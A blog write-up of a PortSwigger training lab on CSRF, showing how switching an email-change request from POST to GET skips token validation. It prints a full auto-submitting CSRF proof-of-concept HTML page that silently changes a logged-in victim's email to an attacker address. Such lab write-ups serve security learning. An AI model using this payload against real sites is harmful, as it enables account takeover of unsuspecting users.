Lab: CSRF where token validation depends on request method
Hello Friends,
Lab: CSRF where token validation depends on request method
Hello Friends,
I’m Rem01x And I’m Currently Preparing For The eWPTX Exam So I Will Be Walking Through All PortSwigger Labs And Make Sure To Make Writeups For All Of Them.
Let’s Start Now.
Assume that we have this website.
Please notice the my account option on the top right.
Let’s navigate to it and see what we could do there.
As we observed this is a login page so let’s provide our credentials to be able to login.
After logging in we can observe that we have an update email functionality.
let’s try to provide any new email of your choice and try to update it and intercept the request.
As Observed the email can be changed by the email parameter and the CSRF Token.
By Doing Multiple Examining on the CSRF Token it does not seem to be vulnerable to any CSRF Based Attacks Like length validation, Null CSRF , Array CSRF etc.
So can you try harder with me and think about another way !?
Yes, you got it right you are 1337 🔥🧑💻.
We can try to change the request method and see.
It seems that may work as we got successful redirect to the dashboard.
Now, in burpsuite go to engagement tools and click on Generate CSRF Poc.
Now we will get this form.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a260014047da01e80fc172c00d00034.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="attack@attacker.com" />
<input type="hidden" name="csrf" value="nU39HcOLIEaBjMZxRrozXbHZUr2nfEd4" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>As we see we can change the email to the attacker email in our case we will use attack@attacker.com as our email.
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>This script lines will make the form auto submit.
Now, let’s navigate to the exploit server and deliver the exploit to the victim.
Now, let’s press Deliver exploit to victim.
Alright Let’s Go We Did It And Solve The Lab.
Uchiha_Rem01x #Uchiha-Rem01x #1337
메타데이터
- post_id
- 3e0a195f2b2d
- slug
- lab-csrf-where-token-validation-depends-on-request-method-3e0a195f2b2d
- url
- https://medium.com/@uchiha-rem01x/lab-csrf-where-token-validation-depends-on-request-method-3e0a195f2b2d
- canonical_url
- https://medium.com/@uchiha-rem01x/lab-csrf-where-token-validation-depends-on-request-method-3e0a195f2b2d
- author_url
- https://medium.com/@uchiha-rem01x
- status
- ok
- fetched_at
- 2026-07-08 19:15:55
